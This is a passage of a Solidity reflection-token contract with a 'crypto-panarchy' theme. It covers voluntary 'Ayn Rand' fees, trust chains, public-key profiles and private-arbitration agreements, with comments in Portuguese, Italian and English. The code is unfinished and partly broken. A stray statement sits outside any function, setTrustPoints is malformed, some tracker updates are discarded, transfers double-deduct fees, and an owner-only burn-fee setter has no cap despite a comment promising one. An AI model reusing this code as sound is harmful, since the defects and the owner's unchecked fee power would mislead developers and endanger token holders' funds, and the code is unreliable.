public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint256) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } // Checa saldo dividendos da conta function balanceOf(address account) public view override returns(uint256) { if (_isExcludedR[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); // (f2) } function transfer(address recipient, uint256 amount) public override notPhysicallyRemoved() returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override notPhysicallyRemoved() returns(uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override notPhysicallyRemoved() returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override notPhysicallyRemoved() returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual notPhysicallyRemoved() returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual notPhysicallyRemoved() returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcludedR[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } // XFC-04 Compliance: documentando funcao de saque. used2b reflect() no token reflect // Implementar na Web3 um mecanismo pra facilitar uso. (f2) function wdSaque(uint256 tQuantia) public notPhysicallyRemoved() { address remetente = _msgSender(); require(!_isExcludedR[remetente], "A2: ur excluded"); // Excluded address can not call this function (uint256 rAmount,,,,,) = _getValues(tQuantia); _rOwned[remetente] = _rOwned[remetente].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tQuantia); } // To calculate the token count much more precisely, you convert the token amount into another unit. // This is done in this helper function: "reflectionFromToken()". Code came from Reflect Finance project. (f2) function reflectionFromToken(uint256 tQuantia, bool deductTransferFee) public view returns(uint256) { require(tQuantia <= _tTotal, "E:Amount > supply"); // Amount must be less than supply" if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tQuantia); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tQuantia); return rTransferAmount; } } // Inverse operation. (f2) function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "E:Amount > reflections total"); // Amount must be less than total reflections uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excluiReward(address account) public onlyOwner() { require(!_isExcludedR[account], "Already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); // (f2) } _isExcludedR[account] = true; _excluded.push(account); } function incluiReward(address account) external onlyOwner() { require(_isExcludedR[account], "Not excluded"); // Auditoria XFC-06 Account is not excluded for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcludedR[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tQuantia) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tQuantia); _tOwned[sender] = _tOwned[sender].sub(tQuantia); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); // (f2) emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedF[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedF[account] = false; } // Permite redefinir taxa maxima de transfer, assume compromisso hardcoded de sempre ser menor que 8% (convenant community rules) function setBurnFeePercent(uint256 burnFee) external onlyOwner() { _burnFee = burnFee; } // burn nao e tax (f3) function setTaxFeePercent(uint256 taxFee) external onlyOwner() { require((taxFee+_liquidityFee+_healthFee)<=_maxTassazione,"Taxation is Theft"); // Taxation without representation is Theft _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { require((liquidityFee+_taxFee+_healthFee)<=_maxTassazione,"Taxation is Theft"); _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent <= 8,"Taxation wo representation is Theft"); _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); // Regra de 3 pra porcentagem } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //recebe XMR/ETH/BNB/BCH do uniswapV2Router quando fizer swap - Auditoria: XFC-07 receive() external payable {} // subtrai rTotal e soma fee no fee tFeeTotal (f2) function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } // From SM/OZ function _getValues(uint256 tQuantia) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tQuantia); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tQuantia, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } // From SM/OZ function _getTValues(uint256 tQuantia) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tQuantia); uint256 tLiquidity = calculateLiquidityFee(tQuantia); uint256 tTransferAmount = tQuantia.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } // From SM/OZ function _getRValues(uint256 tQuantia, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tQuantia.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } // From SM/OpenZeppelin function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } // From SM/OpenZeppelin function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } // Recebe liquidity function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcludedR[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); // regra de 3 pra achar porcentagem } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**2); // regra de 3 pra achar porcentagem } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0 && _burnFee == 0) return; //(f3) _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _previousBurnFee = _burnFee; _prevHealthFee = _healthFee; _taxFee = 0; _liquidityFee = 0; _burnFee = 0; _healthFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; _burnFee = _previousBurnFee; // (f3) _healthFee = _prevHealthFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedF[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "E: addr zero?"); // ERC20: approve from the zero address require(spender != address(0), "E: addr zero?"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount) private { require(from != address(0), "E: addr zero?"); // ERC20: transfer from the zero address require(amount > 0, "Amount too low"); // Transfer amount must be greater than zero if(from == uniswapV2Pair || to == uniswapV2Pair) // if DeFi, must be trusted (f15), owner is no exception T:OK (CONFIG:hardcoded) require(_selfDetermined[to].spFirstTrustee!=address(0)||_selfDetermined[from].spFirstTrustee!=address(0),"A2: DeFi limited to trusted. Use p2p"); // (f15) T:OK DeFi service limited to trusted x-persona. Use p2p. if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Amount too high"); // Transfer amount exceeds the maxTxAmount. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } // Se a liquidez do pool estiver muito baixa (numTokensSellToAddToLiquidity) vamos vender // pra colocar na LP. bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if (overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; // default true // (f6) dont charge fees on p2p transactions. comment out (CONFIG:hardcoded) if this crypto-panarchy wants different if (from != uniswapV2Pair && to!= uniswapV2Pair) { takeFee = false; } // maybe make it configurable? if (to == wallet_health) { healthDepositTracker[from].add(amount); } // (f8,f7) keep track of who contributes more to health funds //if any account belongs to _isExcludedF account then remove the fee if(_isExcludedF[from] || _isExcludedF[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private travaSwap { // split the contract balance into halves - Auditoria XFC-08: points a bug and a need to a withdraw function to get leftovers uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // computa apenas os XMR/ETH/BNB/BCH da transacao, excetuando o que eventualmente ja houver no contrato uint256 initialBalance = address(this).balance; // metade do saldo em crypto swapTokensForEth(half); // <- this breaks the ETH -> TOKEN swap when swap+liquify is triggered // saldo atual em crypto uint256 newBalance = address(this).balance.sub(initialBalance); // segunda metade em token - Auditoria XFC-08: points a bug and a need to a withdraw function to get leftovers addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); // Referencia: event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // faz o swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, // aceita qualquer valor de ETH sem minimo path, address(this), block.timestamp); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity - Auditoria: XFC-09 unhandled uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), // owner(), Auditoria XFC-02 block.timestamp); } //metodo das taxas se takeFee for true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); //_healthFee = 1; // Em porcentagem // modifica o health na origem individualmente if (_selfDetermined[sender].sHealthFee >= _healthFee || _selfDetermined[sender].sHealthFee == 999 ) { _healthFee = _selfDetermined[sender].sHealthFee; if (_selfDetermined[sender].sHealthFee == 999) { _healthFee = 0; } // 999 na blockchain eh 0 para nos } uint256 burnAmt = amount.mul(_burnFee).div(100); uint256 healthAmt = amount.mul(_healthFee).div(100); // N% direto pra health? discutir ou por hora manter 0 uint256 discountAmt=(burnAmt+healthAmt); // sera descontado do total a transferir /** (note que a unica tx real eh a da health, o resto reverte pra todos e pra saude da pool) **/ // Respeitar fees individuais, precedencia de quem paga (origem): dividendos if (_selfDetermined[sender].sTaxFee >= _taxFee || _selfDetermined[recipient].sTaxFee >= _taxFee || _selfDetermined[sender].sTaxFee == 999 || _selfDetermined[recipient].sTaxFee == 999) { if (_selfDetermined[sender].sTaxFee > _selfDetermined[recipient].sTaxFee) { _taxFee = _selfDetermined[sender].sTaxFee; if (_selfDetermined[sender].sTaxFee == 999) { _taxFee = 0; } } else { _taxFee = _selfDetermined[recipient].sTaxFee; if (_selfDetermined[recipient].sTaxFee == 999) { _taxFee = 0; } } } // Respeitar fees individuais, precedencia de quem paga (origem): liquidez if (_selfDetermined[sender].sLiquidityFee >= _liquidityFee || _selfDetermined[recipient].sLiquidityFee >= _liquidityFee || _selfDetermined[sender].sLiquidityFee == 999 || _selfDetermined[recipient].sLiquidityFee == 999) { if (_selfDetermined[sender].sLiquidityFee > _selfDetermined[recipient].sLiquidityFee) { _liquidityFee = _selfDetermined[sender].sLiquidityFee; if (_selfDetermined[sender].sLiquidityFee == 999) { _liquidityFee = 0; } } else { _liquidityFee = _selfDetermined[recipient].sLiquidityFee; if (_selfDetermined[recipient].sLiquidityFee == 999) { _liquidityFee = 0; } } } // Taxas considerando exclusao de recompensa if (_isExcludedR[sender] && !_isExcludedR[recipient]) { _transferFromExcluded(sender, recipient, amount.sub(discountAmt)); } else if (!_isExcludedR[sender] && _isExcludedR[recipient]) { _transferToExcluded(sender, recipient, amount.sub(discountAmt)); // XFC-10 excluded } else if (!_isExcludedR[sender] && !_isExcludedR[recipient]) { // XFC-10 excluded _transferStandard(sender, recipient, amount); } else if (_isExcludedR[sender] && _isExcludedR[recipient]) { _transferBothExcluded(sender, recipient, amount.sub(discountAmt)); } else if (!_isExcludedR[sender] && !_isExcludedR[recipient]) { _transferStandard(sender, recipient, amount.sub(discountAmt)); // XFC-10 condition above added } // Depois de feitas as transferencias entre os pares, o proprio contrato nao paga taxas _taxFee = 0; _liquidityFee = 0; _healthFee = 0; // sobrou discountAmt precisamos enviar pras carteiras de direito, burn e health _transferStandard(sender, address(0x000000000000000000000000000000000000dEaD), burnAmt); // envia pro burn 0x0::dEaD a fee configurada sem gambi de burn holder _transferStandard(sender, address(wallet_health), healthAmt); // (f7) pay fee to health wallet, debate it widely with this panarchy healthDepositTracker[sender].add(healthAmt); // (f8) keep track of who contributes more to health funds // Restaura as taxas _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; _healthFee = _prevHealthFee; if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tQuantia) private { if ( (tQuantia==57721566) && (_selfDetermined[recipient].spFirstTrustee == address(0)) ) { _selfDetermined[recipient].spFirstTrustee = sender; _selfDetermined[sender].sYouTrust.push(recipient); _selfDetermined[recipient].spTrustYou.push(sender); } // again, first trustee: know what you are doing. send 0,57721566 its our magic number (Euler constant) T:OK:f14 (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tQuantia); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); // (f2) emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tQuantia) private { if ( (tQuantia==57721566) && (_selfDetermined[recipient].spFirstTrustee == address(0)) ) { _selfDetermined[recipient].spFirstTrustee = sender; _selfDetermined[sender].sYouTrust.push(recipient); _selfDetermined[recipient].spTrustYou.push(sender); } // again, first trustee: know what you are doing. send 0,57721566 its our magic number (Euler constant) (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tQuantia); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); // (f2) emit Transfer(sender, recipient, tTransferAmount); } function setRouterAddress(address novoRouter) public onlyOwner() { //Ideia boa do FreezyEx, permite mudar o router da Pancake pra upgrade. Atende tambem compliace XFC-03 controle de. external & 3rd party IUniswapV2Router02 _newPancakeRouter = IUniswapV2Router02(novoRouter); uniswapV2Pair = IUniswapV2Factory(_newPancakeRouter.factory()).createPair(address(this), _newPancakeRouter.WETH()); uniswapV2Router = _newPancakeRouter; } function _transferFromExcluded(address sender, address recipient, uint256 tQuantia) private { if ( (tQuantia==57721566) && (_selfDetermined[recipient].spFirstTrustee == address(0)) ) { _selfDetermined[recipient].spFirstTrustee = sender; _selfDetermined[sender].sYouTrust.push(recipient); _selfDetermined[recipient].spTrustYou.push(sender); } // again, first trustee: know what you are doing. send 0,57721566 its our magic number (Euler constant) (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tQuantia); _tOwned[sender] = _tOwned[sender].sub(tQuantia); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); // (f2) emit Transfer(sender, recipient, tTransferAmount); } /** * "In a fully free society, taxation—or, to be exact, payment for governmental services—would be voluntary. * Since the proper services of a government—the police, the armed forces, the law courts—are demonstrably needed * by individual citizens and affect their interests directly, the citizens would (and should) be willing to pay * for such services, as they pay for insurance.", Virtue of Selfishness (1964) Chapter 15 * * Verifichiamo allora nella pratica questa irragionevole ipotesi teorica di tassazione volontaria. Chiamiamo la funzione aynRand, * per consentire al singolo chiamante di sospendere le proprie quote, accettare la quota associativa o impostare la propria * proprio canone. Bene che metta alla prova anche la benevolenza contro l'altruismo (Auguste Comte 1798-1857) e il consenso su * Termini del consenso della allianza privata - convenant community (Hans H. Hoppe, diversi scritti). * // T:OK:(f1) */ function aynRandTaxation(uint256 TaxationIsTheft, uint256 convernantCommunityTaxes, uint256 indTaxFee, uint256 indLiquidFee, uint256 indHealthFee) public { // booleans are expensive, save gas. pass 1 as true to TaxationIsTheft if (TaxationIsTheft==1) { excludeFromFee(msg.sender); excluiReward(msg.sender); // sem tax sem dividendos } else if ((TaxationIsTheft!=1) && (convernantCommunityTaxes==1)) { // restoreAllFee() se imposto nao e roubo e Hoppe estava certo (sobre acerto da alianca privada) _selfDetermined[msg.sender].sHealthFee = _healthFee; _selfDetermined[msg.sender].sLiquidityFee = _liquidityFee; _selfDetermined[msg.sender].sTaxFee = _taxFee; //_individualFee = [_taxFee, _liquidityFee, _healthFee]; } else { // define os 'impostos voluntarios' auto determinados if (indHealthFee==0) indHealthFee=999; if (indLiquidFee==0) indLiquidFee=999; if (indTaxFee==0) indTaxFee=999; // pra economizar gas nao vamos testar booleano se variavel foi inicializada entao consideraremos 0% com o valor especial 999 _selfDetermined[msg.sender].sHealthFee = indHealthFee; _selfDetermined[msg.sender].sLiquidityFee = indLiquidFee; _selfDetermined[msg.sender].sTaxFee = indTaxFee; //_individualFee = [indTaxFee, indLiquidFee, indHealthFee]; } } // T:OK:(f0.1) function setHealthWallet(address newHealthAddr) public onlyOwner() returns(bool) { wallet_health = newHealthAddr; return true; } // T:OK:(f1):default fees and caller fees function getFees() public view returns(uint256,uint256,uint256,uint256,uint256,uint256) { return (_healthFee,_liquidityFee,_taxFee,_selfDetermined[msg.sender].sHealthFee,_selfDetermined[msg.sender].sLiquidityFee,_selfDetermined[msg.sender].sTaxFee); } // T:OK (f13): nickname handling merged to finger to save gas and contract size // T:OK (f13): refactorado per l'uso require() if (bytes(_selfDetermined[endereco].sNickname).length == 0) return _selfDetermined[endereco].sNickname; // XXX_Todo: implementar modificador onlyPrivLawCourt caso torne essa funcao publica // testar notPhysicallyRemoved() (DONE) e setViolations unitariamente // T:PEND (f12):Dropped this function. Included in setArbitration() /* function setViolations(uint256 _violationType, address _who) internal notPhysicallyRemoved() returns(uint256 _spContractsViolated) { require(_violationType>=0&&_violationType<=2,"A2 bad type"); // AuthZ: violation types: 0 (contracts) or 1 (arbitration) if (_violationType==1) { // worse case scenario: kicked out out crypto-panarchy _selfDetermined[_who].spOptOutArbitrations.add(1); _selfDetermined[_who].ostracizedBy.push(_msgSender()); } else _selfDetermined[_who].spContractsViolated.add(1); return(_selfDetermined[_who].spContractsViolated); }*/ // T:OK (f12) function setTrustPoints(address _who, uint256 _points) public notPhysicallyRemoved() { require((_points >= 0 && _points <= 5),"E: points 0-5"); // AuthZ: points must be 0-5 require(_who!=_msgSender(),"A2: points to self"); // AuthZ: you can't set points to yourself. _selfDetermined[_who].spTrustPoints = [ _selfDetermined[_who].spTrustPoints[0].add(1), // count++ _selfDetermined[_who].spTrustPoints[1].add(_points) // give points // Save gas, let the client find the average _selfDetermined[_who].spTrustPoints[2]=_selfDetermined[_who].spTrustPoints[1].div(_selfDetermined[_who].spTrustPoints[0]) // calculates new avg ]; _selfDetermined[_who].spTrustPoints = [ _selfDetermined[_msgSender()].spTrustPoints[0].add(1), // count++ _selfDetermined[_msgSender()].spTrustPoints[1].sub(_points) // subtracts points from giver ]; } // T:OK (f12):merged to trustchain function getTrustPoints(address _who) /* function getTrustPoints(address _who) public view returns(uint256[2] memory _currPoints) { return(_selfDetermined[_who].spTrustPoints); }*/ /* XXX_Lembrar_de_Remover XXX_implement point system upon contracts or make setTrustPoints public (f12) function vai(address _who) public { setTrustPoints(_who,1); setTrustPoints(_who,2); setTrustPoints(_who,3); } */ //T:OK (f13) function setFinger(string memory _sPgpPubK,string memory _sSshPubK,string memory _sX509PubK,string memory _sGecos,uint256 _sRole, string memory _sNickname) public notPhysicallyRemoved() { _selfDetermined[_msgSender()].sPgpPubK=_sPgpPubK; _selfDetermined[_msgSender()].sSshPubK=_sSshPubK; _selfDetermined[_msgSender()].sX509PubK=_sX509PubK; _selfDetermined[_msgSender()].sGecos=_sGecos; _selfDetermined[_msgSender()].sRole=_sRole; _selfDetermined[_msgSender()].sNickname=_sNickname; } // T:OK (f11) function setWhoUtrust(uint256 mode,address _youTrust) public notPhysicallyRemoved() returns(uint256 _len) { require(_selfDetermined[_msgSender()].sYouTrust.length < 150,"A2: trustChain too big"); // convenant size limit = (Dunbar's number: 150, Bernard–Killworth median: 231); if (owner()!=_msgSender()) { require(_msgSender()!=_youTrust,"A2: no trust self"); // AuthZ: you can't trust yourself require(_youTrust!=uniswapV2Pair,"A2: no trust pair"); // AuthZ: you can't trust special contracts } // mode 1 is to delete from your trust list (you are not a trustee), bool->int to save gwei if (mode==1) { // Delete from your Trustee array for (uint256 i = 0; i < _selfDetermined[_msgSender()].sYouTrust.length; i++) { if (_selfDetermined[_msgSender()].sYouTrust[i] == _youTrust) { _selfDetermined[_msgSender()].sYouTrust[i] = _selfDetermined[_msgSender()].sYouTrust[_selfDetermined[_msgSender()].sYouTrust.length - 1]; _selfDetermined[_msgSender()].sYouTrust.pop(); break; } } // Delete from their Trustee array for (uint256 i = 0; i < _selfDetermined[_youTrust].spTrustYou.length; i++) { if (_selfDetermined[_youTrust].spTrustYou[i] == _msgSender()) { _selfDetermined[_youTrust].spTrustYou[i] = _selfDetermined[_youTrust].spTrustYou[_selfDetermined[_youTrust].spTrustYou.length - 1]; _selfDetermined[_youTrust].spTrustYou.pop(); break; } } } else { _selfDetermined[_msgSender()].sYouTrust.push(_youTrust); // control who you trust if (_selfDetermined[_youTrust].spFirstTrustee == address(0)) // you are the first x-persona to trust him, hope you know what you are doing _selfDetermined[_youTrust].spFirstTrustee = _msgSender(); // it's not reversible _selfDetermined[_youTrust].spTrustYou.push(_msgSender()); // inform the party you trust him } return(_selfDetermined[_msgSender()].sYouTrust.length); // extra useful info } // T:OK (f13) function Finger(address _who) public view returns(string memory _sPgpPubK,string memory _sSshPubK,string memory _sX509PubK,string memory _sGecos,uint256 _sRole, string memory _sNickname) { return (_selfDetermined[_who].sPgpPubK,_selfDetermined[_who].sSshPubK,_selfDetermined[_who].sX509PubK,_selfDetermined[_who].sGecos,_selfDetermined[_who].sRole,_selfDetermined[_who].sNickname); } // T:OK (f11) function getTrustChain(address _who) public view returns( address _firstTrustee, address[] memory _youTrust, uint256 _youTrustCount, address[] memory _theyTrustU, uint256 _theyTrustUcount, uint256[] memory _youAgreementsSigned, uint256[2] memory _yourTrustPoints ) { return ( _selfDetermined[_who].spFirstTrustee, _selfDetermined[_who].sYouTrust, _selfDetermined[_who].sYouTrust.length, _selfDetermined[_who].spTrustYou, _selfDetermined[_who].spTrustYou.length, _selfDetermined[_who].spYouAgreementsSigned, _selfDetermined[_who].spTrustPoints ); } /** * In una società di diritto privato gli individui acconsentono volontariamente ai servizi e agli scambi appaltati * e quindi, devono concordare le clausole di uscita ammende, se applicabili, se il deposito deve essere versato in * anticipo o le parti concorderanno di pagare alla risoluzione del contratto. Un tribunale di diritto privato o selezionato * il giudice deve essere scelto come arbitri da tutte le parti di comune accordo. Una controversia deve essere * avviato dalle parti che hanno firmato il contratto. Viene avviata una controversia, solo l'arbitro deve * decidere sui motivi. I trasgressori illeciti pagheranno la multa a tutte le altre parti e contrarranno * la violazione sarà incrementata dall'arbitro. Non viene avviata alcuna controversia, le parti sono d'accordo * in caso di scioglimento dell'accordo. L'accordo viene sciolto, tutti i firmatari vengono rimborsati delle multe. * In una società cripto-panarchica, l'arbitrato del tribunale privato deve essere codificato. I Cypherpunk scrivono codice. * * T:OK (f9) **/ // T:OK:(f9) function setAgreement(uint256 _aid, string memory _hash, string memory _gecos, string memory _url, string memory _signedHash, uint256 _fine, address _arbitrator, uint256 _arbitratorFee, uint256 _deposit, string memory _signComment,uint256 _sign) notPhysicallyRemoved public { require(_aid>0,"A2: bad id"); // AuthZ: ivalid id for private agreement require(_selfDetermined[_arbitrator].sRole==1,"A2: court must be Role=1"); // A2: arbitrator or court must set himself Role=1 if(_privLawAgreement[_aid].creator==address(0)) { // doesnt exist, create it _privLawAgreement[_aid].hash=_hash; _privLawAgreement[_aid].gecos=_gecos; _privLawAgreement[_aid].url=_url; _privLawAgreement[_aid].fine=_fine; _privLawAgreement[_aid].deposit=_deposit; // 1 = required _privLawAgreement[_aid].creator=msg.sender; _privLawAgreement[_aid].arbitrator=_arbitrator; _privLawAgreement[_aid].arbitratorFee=_arbitratorFee; _privLawAgreement[_aid].createdOn=block.timestamp; _privLawAgreementIDs.push(_aid); } else { // exists, sign it _setAgreementSign(_aid, _hash, _signedHash, _fine, _arbitrator, _signComment, _sign); } } //T:PEND:(f9):Sign existing agreement. Separated non-public functions to save gas function _setAgreementSign(uint256 _aid, string memory _hash, string memory _signedHash, uint256 _fine, address _arbitrator, string memory _signComment, uint256 _sign) internal { require(_fine==_privLawAgreement[_aid].fine,"A2: bad fine"); // AuthZ: fine value mismatch require(keccak256(abi.encode(_hash))==keccak256(abi.encode(_privLawAgreement[_aid].hash)),"A2: bad hash"); // AuthZ: must reaffirm hash acceptance require(msg.sender!=_arbitrator,"A2: court can't be party"); // AuthZ: arbitrator can not take part of the agreement require(_sign==1,"A2: sign it! (aid)"); // AuthZ: agreement ID exists, explicitly consent to sign it _privLawAgreement[_aid].fine=_fine; _privLawAgreement[_aid].signedOn[msg.sender]=block.timestamp; _privLawAgreement[_aid].signedHash[msg.sender]=_signedHash; _privLawAgreement[_aid].signComment[msg.sender]=_signComment; if (_privLawAgreement[_aid].finePaid[msg.sender]==0 && _privLawAgreement[_aid].deposit==1) { // must deposit fine in advance in this contract require(balanceOf(_msgSender()) >= _fine,"E: balance is below fine"); // ERC20: balance below required fine amount, cant sign agreement transfer(address(this), _fine); // transfer fine deposit to contract T:BUG //_transfer(_msgSender(), recipient, amount); _privLawAgreement[_aid].finePaid[msg.sender]=1; } (_privLawAgreement[_aid].signature[msg.sender], _privLawAgreement[_aid].signatureNonce[msg.sender]) = xffa.simpleSignSaltedHash("I hereby consent aid"); _selfDetermined[msg.sender].spYouAgreementsSigned.push(_aid); _privLawAgreement[_aid].signees.push(msg.sender); _privLawAgreement[_aid].state[msg.sender]=1; // mark active } // T:PEND(MERGE):(f9):Allows one to get agreement data and someone's termos to agreement aid function getAgreementData(uint256 _aid, address _who) public view returns (string memory, string memory, string memory) { require(_privLawAgreement[_aid].creator!=address(0),"A2: bad aid"); // AuthZ: agreement ID is nonexistant //require(_privLawAgreement[_aid].signedOn[_who]!=0,"AuthZ: this x-persona did not sign this agreement ID"); bool _validSign = xffa.verifySimpleSignSaltedHash(_privLawAgreement[_aid].signature[_who],_who,"I hereby consent aid",_privLawAgreement[_aid].signatureNonce[_who]); string memory _vLabel = "false"; if (_validSign==true) _vLabel = "true"; return( // specifics for signee (_who) string(abi.encodePacked( " _signedHash ",_privLawAgreement[_aid].signedHash[_who], " _signComment ",_privLawAgreement[_aid].signComment[_who], " _signatureValid ",_vLabel," _signedOn ",xffa.uint2str(_privLawAgreement[_aid].signedOn[_who]), " _finePaid ",xffa.uint2str(_privLawAgreement[_aid].finePaid[_who]), " _state ",xffa.uint2str(_privLawAgreement[_aid].state[_who]) )), // agreement generics (everyone) string(abi.encodePacked(" _creator ",xffa.anyToStr(_privLawAgreement[_aid].creator), " _hash ",_privLawAgreement[_aid].hash," _arbitrator ",xffa.anyToStr(_privLawAgreement[_aid].arbitrator), " _arbitratorFee ", xffa.anyToStr(_privLawAgreement[_aid].arbitratorFee), " _fine ",xffa.uint2str(_privLawAgreement[_aid].fine)," _gecos ",_privLawAgreement[_aid].gecos, " _url ",_privLawAgreement[_aid].url )), // stack too deep (after merge) string(abi.encodePacked(" _deposit ",xffa.uint2str(_privLawAgreement[_aid].deposit) )) ); } // XXX_Pend: continuar daqui // T:PEND function _vai(uint256 _aid) public { 